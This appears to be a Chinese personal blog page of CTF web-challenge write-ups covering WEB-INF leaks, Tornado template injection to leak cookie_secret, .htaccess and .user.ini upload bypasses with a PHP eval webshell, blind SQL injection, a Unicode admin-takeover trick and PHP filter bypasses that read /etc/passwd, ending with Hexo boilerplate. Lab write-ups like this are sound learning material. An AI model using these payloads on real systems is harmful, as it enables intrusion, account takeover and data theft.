why

疯疯癫癫的小辣鸡

WEB-INF知识点#

WEB-INF是java的WEB应用的安全目录,此外如果想在页面访问WEB-INF应用里面的文件,必须要通过web.xml进行相应的映射才能访问。
其中敏感目录举例:

/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在.jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件
/WEB-INF/database.properties:数据库配置文件

简单来说,java web是基于Tomcat服务器搭建的,通过servlet来开发。
狭义来说,servlet是指Java语言实现的一个接口。

访问方式

<servlet-class>  这个就是指向我们要注册的servlet 的类地址, 要带包路径

<servlet-mapping> 是用来配置我们注册的组件的访问路径,里面包括两个节点
一个是<servlet-name>,这个要与前面写的servlet一致
另一个是<url-pattern>,配置这个组件的访问路径

<servlet-name> 这个是我们要注册servlet的名字,一般跟Servlet类名有关

举个例子
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>

servlet包含了路径信息,我们尝试包含一下FlagController所在路径,不过这次要在前面加上classes来访问来访问class文件目录(详见上面的目录结构),且文件后缀为.class

做题:

这道题主要是考查的WEB-INF泄露

通过post传参传上去:

?filename=WEB-INF/web.xml

image-20240505022346746

完成之后会自动下载文件

就可以拿到源码

找到和flag相关的部分

image-20240505022705482

访问FlagController.class访问class目录

image-20240505022936716

下载之后打开,能看到唯一一段看起来好有点正常的有点像base64编码的一段字符串

image-20240505023126334

拿到flag

image-20240505023218423

image-20240505000241435

flag在/fllllllllag里面,就是filename=/fllllllllag(对,一定要保留前面的斜杠)

hints,提示里面是

image-20240505000328658

welcome里面则是发现了render,提示模板注入

需要凭借cookie_secret+md5(filename)并转化为MD5值

render是python的一个渲染函数,他们的url都是由filename和filehash组成,filehash即为他们filename的md5值。

但是我们不知道cookie_secret是什么

img

我们在这个文档里面可以知道cookie_secret并不像我们的cookie一样可以自己修改的,而是包含了时间戳,HMAC签名和编码后的cookie值,所以我们自己修改cookie并不现实。

想到render难道没有用处么,找一下render作用

render意为渲染;self.render(“entry.html”, entry=entry)该语句意思就是找到entry.html这个模板,用右边这个entry来实例化entry.html模板中的entry参数,从而显示在页面上。

回过头发现flag.txt那个Error的页面有一个参数msg也是等于Error

发现msg这个函数可以左右页面的输出,想到之前有些题目利用一个参数可以出来phpinfo()等,因此现在目标就是怎么利用msg这个参数来找到cookie_secret了

在文档中我们可以看到相关render渲染的作用

image-20240505015540679我们可以利用双大括号来把表达式传进去以获取我们想要的信息,这样我们猜想

msg={{cookie的位置}}

来获得我们想要的

因为没有相关框架的基础,不知道cookie的位置,看了一些大佬的wp,再加上查文档验证

img

cookie_secret在Application对象settings的属性中 ,访问它的话就需要知道它的属性名字

根据wp和文档可知:self.application.settings有一个别名是RequestHandler.settings

其中handler又是指向处理当前这个页面的RequestHandler对象

RequestHandler.settings指向self.application.settings

因此handler.settings指向RequestHandler.application.settings

所以就是说handler.settings可以用作它的属性名字进行访问

所以根据以上的新知识,大胆猜测一下payload

?msg=

image-20240505015550463

找到了cookie_secret

再根据

md5(cookie_secret+md5(filename))

找到filehash就可以了(保留/fllllllllag的斜杠,是文件名里的东西!!!)

image-20240430113507133

直接说结论,上传.htaccess文件

抓包修改content-type为image/jpeg

上传成功,再上传一句话木马

image-20240429211638393

文件上传

经过测试,使用后缀绕过和图片马绕过均不行

所以开始尝试其他方法

使用.user.ini文件的绕过

image-20240429211929581

内部配置如上

image-20240429212138445

上传成功!耶耶耶

在传入图片马

成功!

image-20240429212244075

然后使用文件包含,读取该文件,使用蚁剑连接

找到flag

图片马,配置如下

GIF89a?<scriptlanguage="php">eval($_REQUEST[123]</script><scriptlanguage="php">eval($_REQUEST[123])</script>

image-20240428205220087告诉我们flag在哪了?

这这这

肯定不会简单了

1’ or 1=1#不能用

||和&&也过滤了

我只能想到^了

一般用得上这个的都是盲注并且是要写脚本,可恶

但是payload可以确定下来

if(ascii(substr((select(flag)from(flag),%d,1))>%d,1,2)” % (x, mid)

跟着网上的脚本一步步打的

image-20240428213823542

最后拿到flag

[NewStarCTF 2023 公开赛道]游戏高手

image-20240428195253662

怎么说呢

看看源代码

image-20240428195315680

可以发现全是前端代码

所以,看看app.v2.js内容

重点就在这里

image-20240428195417786

所以就是说gameScore是原始分数,而最后是游戏分数加原始分数要大于100000,所以,我们可以用console直接将gameScore改为大于100000的数

image-20240428195552710

image-20240428195638115

结束之后拿到flag

image-20240428195223042

image-20240428191135847

直接说结论吧

先传输一个.htaccess文件

所以,什么是.htaccess?

.htaccess是什么 原文传送门

.htaccess文件(或者”分布式配置文件”)提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

放在这种题就是,更改被识别的后缀名称

所以我们先传一个.htaccess文件上去,并且一定要抓包

.htaccess文件写法

AddType application/x-httpd-php .png

image-20240428191507571

记得更改content-type

这里是因为我在文件中写的是变成png文件嗷

如果你是用其他后缀的就改为那种后缀

上传!

image-20240428192039649

上传成功!

接下来就是传一个一句话木马

OK,成功!

image-20240428192350060

之后就是蚁剑连接

image-20240428192519904

连接成功!

之后就是在文件里找flag

flag{ea959b78-ee22-4744-b402-20f6fa49393b}

image-20240428162830687

发现一个好东西

image-20240428171701212

嘻嘻

先随便注册个账号登进去

image-20240428171757662

发现了这个,我一个个界面看源代码

终于我发现了一些奇奇怪怪的东西

https://github.com/woadsl1234/hctf_flask

这个链接应该是关键

但是

啊?

image-20240428171908582

所以,不得已,我要去找找wp了

登陆这个网址之后主要是能看到这个网站的flask框架

但是

登不进去,就拿不到很多的文件,这道题写不了!!!

所以才去第二种方法

注册:
name ``=` `strlower(form.username.data)
登陆:
name ``=` `strlower(form.username.data)
改密码:
name ``=` `strlower(session[``'name'``])

这里的最主要的就是想表达,注册的时候,你输入的是大写的ADMIN也会转换成小写的admin来识别

并且,你在ADMIN账户里改密码时,相当于在给admin的账户更改密码

所以我们要找到第一次接触该函数会变成大写,而第二次则会变成小写的一些字母

第一次识别是大写,第二次是小写的神奇字母

ᴬᴰᴹᴵᴺ

这就是我去网上找的,嘻嘻

链接:https://symbl.cc/en/1D2E/

之后就是登录,在再更改密码

更改密码的时候,我们就把admin也一起改了

所以登陆就行了

image-20240428204028806

image-20240427153522480

所以很简单看到是上传到calc.php里

所以直接尝试访问

image-20240427160135413

所以是传一个num,然后正则匹配这些符号

尝试一下命令执行吧

`?num=system('ls');`

image-20240427161140782

查询之后发现是需要空格绕过

但是这个空格绕过和之前不一样

以前是会在system之前加空格

这次是在num之前加空格

这样服务器会认为传入的参数是 空格num ,而不是 num 。这里用到这种绕过方式是因为假定服务器只对 num 参数做检测,而对于其他参数不做检测。

当 空格num 参数传入到后端,被 PHP 代码处理时,会被去除多余空格及特殊字符:如空格、制表符、回车换行符以及某些特殊字符等。这样一来仍然是 num 参数了。

payload:calc.php? num=var_dump(scandir(current(localeconv())));

查看当前目录下的文件
localeconv() 函数返回当前设置的地区的格式化信息,包括货币符号、小数点符号等。它返回一个数组,其中包含了与当前地区相关的格式化参数,该函数返回的第一个元素的值通常是小数点 “.” 。
current() 函数用于获取数组中的当前元素的值。在这里,它用于获取 localeconv() 函数返回的数组的第一个元素的值,即一个小数点。
scandir() 函数用于获取指定目录中的文件和文件夹列表。它接受一个路径作为参数,并返回一个包含指定目录中所有文件和文件夹的数组。scandir(“.”) 表示获取当前目录下的文件列表。
最后使用 var_dump() 函数将该列表输出到页面上。

但其实这里可以更简单:

calc.php? num=var_dump(scandir(chr(46)));

46 是 “.” 的 ASCII 码值,返回结果:

因为可以有参数嘛。用 chr() 函数将数字变为字符。

同理查看根目录下的文件:

calc.php? num=var_dump(scandir(chr(47)));

47 是 “/” 的 ASCII 码值

在这里插入图片描述

找到/f1aag这个文件

查看 /f1agg 文件

num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103));

知识点2.file_get_contents() 函数

把整个文件读入一个字符串中。

chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)

分别是 ‘/’ ‘f’ ‘1’ ‘a’ ‘g’ ‘g’ 的 ASCII 值转字符,‘.’ 用作字符串连接。每一个 chr() 函数返回的结果由于是字符,所以自带了一对引号,不需要额外再加。

在这里插入图片描述

知识点3.url溢出

? num=1;eval(end(pos(get_defined_vars())))&nss=phpinfo();&get_defined_vars()

返回由所有已定义变量所组成的数组,会返回 _GET , _POST , _COOKIE , _FILES 全局变量的值,返回数组顺序为 get->post->cookie->files 。

current():返回数组中的当前单元,初始指向插入到数组中的第一个单元,也就是会返回 $_GET 变量的数组值。

end() : 将内部指针指向数组中的最后一个元素,并输出。即新加入的参数 nss 。

最后由 eval() 函数执行,使得 get 方式的参数 nss 生效。

这样的话就可以再利用 nss 传参了,由于代码只对 num 参数的值做了过滤,因此 nss 参数理论上可以造成任意代码执行。

这样可以看到phpinfo,找到disable_function函数

查看 /etc/passwd 文件

? num=1;eval(end(pos(get_defined_vars())))&nss=include("/etc/passwd");

输出结果:

在这里插入图片描述

知识点4.http请求走私

在这里插入图片描述

大致原理就是使用了两个 Content-Length 头,使得前端无法识别,直接将整个包完全发给了后端。但这样还是要接受后端的黑名单过滤,所以 num 传参还是不能为所欲为。

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

Quick Start

Create a new post

$ hexo new "My New Post"

More info: Writing

Run server

$ hexo server

More info: Server

Generate static files

$ hexo generate

More info: Generating

Deploy to remote sites

$ hexo deploy

More info: Deployment

0%